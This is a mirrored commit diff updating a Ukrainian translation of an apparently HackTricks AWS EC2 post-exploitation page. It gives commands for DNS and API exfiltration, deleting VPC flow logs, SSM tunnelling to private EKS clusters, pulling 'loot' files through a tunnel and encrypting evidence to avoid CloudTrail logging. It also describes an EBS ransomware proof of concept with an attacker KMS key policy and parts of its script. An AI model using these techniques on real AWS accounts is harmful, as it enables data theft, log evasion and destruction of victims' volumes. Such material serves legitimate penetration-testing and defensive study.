mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 23:00:49 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -60,17 +60,17 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагувати дані через DNS**.
|
||||
Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **експортувати через DNS**.
|
||||
|
||||
- **VPC Flow Logs не зафіксують це**.
|
||||
- У вас немає доступу до AWS DNS журналів.
|
||||
- **Журнали VPC Flow не зафіксують це**.
|
||||
- У вас немає доступу до журналів AWS DNS.
|
||||
- Вимкніть це, встановивши "enableDnsSupport" на false за допомогою:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Зловмисник може викликати API кінцеві точки облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити екстраговані дані в журналах Cloudtrail.
|
||||
Зловмисник може викликати API кінцеві точки облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити експортовані дані в журналах Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
@@ -95,7 +95,7 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
На додаток до виконання команд, SSM дозволяє тунелювання трафіку, що може бути використано для переходу з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, - це перехід з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера.
|
||||
На додаток до виконання команд, SSM дозволяє тунелювання трафіку, яке можна зловживати для переходу з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, - це перехід з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера.
|
||||
|
||||
> Щоб розпочати сесію, вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -115,21 +115,62 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашої власної машини, запустивши:
|
||||
8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашого власного комп'ютера, запустивши:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак MitM.
|
||||
Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s інструментах аудиту). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак типу MitM.
|
||||
|
||||
Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного додатку.
|
||||
Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або користувацького додатку.
|
||||
|
||||
### Share AMI
|
||||
---
|
||||
|
||||
#### Швидке локальне ↔️ віддалене перенаправлення порту (AWS-StartPortForwardingSession)
|
||||
|
||||
Якщо вам потрібно лише перенаправити **один TCP порт з EC2 екземпляра на ваш локальний хост**, ви можете використовувати документ SSM `AWS-StartPortForwardingSession` (параметр віддаленого хоста не потрібен):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Команда встановлює двосторонній тунель між вашою робочою станцією (`localPortNumber`) та вибраним портом (`portNumber`) на екземплярі **без відкриття будь-яких вхідних правил безпеки Security-Group**.
|
||||
|
||||
Звичайні випадки використання:
|
||||
|
||||
* **Екстракція файлів**
|
||||
1. На екземплярі запустіть швидкий HTTP сервер, який вказує на каталог, який ви хочете екстрактувати:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. З вашої робочої станції отримайте файли через SSM тунель:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Доступ до внутрішніх веб-додатків (наприклад, Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Порада: Стисніть і зашифруйте докази перед їх ексфільтрацією, щоб CloudTrail не реєстрував вміст у відкритому тексті:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### Поділитися AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Пошук чутливої інформації в публічних та приватних AMI
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах Amazon Machine Images (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах машин Amazon (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних.
|
||||
|
||||
### Поділитися знімком EBS
|
||||
```bash
|
||||
@@ -137,9 +178,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках з пост-експлуатації S3. KMS слід перейменувати на RMS для Ransomware Management Service через те, як легко його використовувати для шифрування різних сервісів AWS.
|
||||
Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках про пост-експлуатацію S3. KMS слід перейменувати на RMS для Ransomware Management Service, враховуючи, як легко його використовувати для шифрування різних сервісів AWS.
|
||||
|
||||
Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберіг би дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому Principal облікового запису AWS використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
|
||||
Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -239,17 +280,17 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущено кілька екземплярів EC2 з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою ціллю для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями.
|
||||
Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущені деякі EC2 екземпляри з прикріпленими незашифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою ціллю для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями.
|
||||
|
||||
 
|
||||
|
||||
Подібно до прикладу з програмами-вимагачами S3. Ця атака створить копії прикріплених обсягів EBS за допомогою знімків, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від екземплярів EC2 і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. 
|
||||
Подібно до прикладу з програмами-вимагачами S3. Ця атака створить копії прикріплених обсягів EBS за допомогою знімків, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. 
|
||||
|
||||
В результаті залишаться лише зашифровані обсяги EBS, доступні в обліковому записі.
|
||||
В результаті в обліковому записі залишаться лише зашифровані обсяги EBS.
|
||||
|
||||

|
||||
|
||||
Також варто зазначити, що скрипт зупинив екземпляри EC2, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні нешифровані обсяги тепер зникли.
|
||||
Також варто зазначити, що скрипт зупинив EC2 екземпляри, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні незашифровані обсяги тепер зникли.
|
||||
|
||||

|
||||
|
||||
@@ -324,15 +365,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS томів. Ви виявите, що можете приєднати том.
|
||||
Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS-томів. Ви виявите, що можете приєднати том.
|
||||
|
||||
 
|
||||
|
||||
Але коли ви спробуєте фактично запустити EC2 інстанс з зашифрованим EBS томом, він просто не вдасться і перейде з стану 'очікування' назад у стан 'зупинено' назавжди, оскільки приєднаний EBS том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє це.
|
||||
Але коли ви намагаєтеся фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто зазнає невдачі і знову переходить з стану 'очікування' в стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше цього не дозволяє.
|
||||
|
||||
 
|
||||
|
||||
Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та публічно доступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS томів, приєднаних до ВСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупинить кожен EC2 інстанс, від'єднає оригінальні EBS томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх, використовуючи KMS ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що це в кінцевому підсумку є PoC для програм-вимагачів.
|
||||
Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC для програм-вимагачів.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [Pentest Partners – Як передавати файли в AWS за допомогою SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user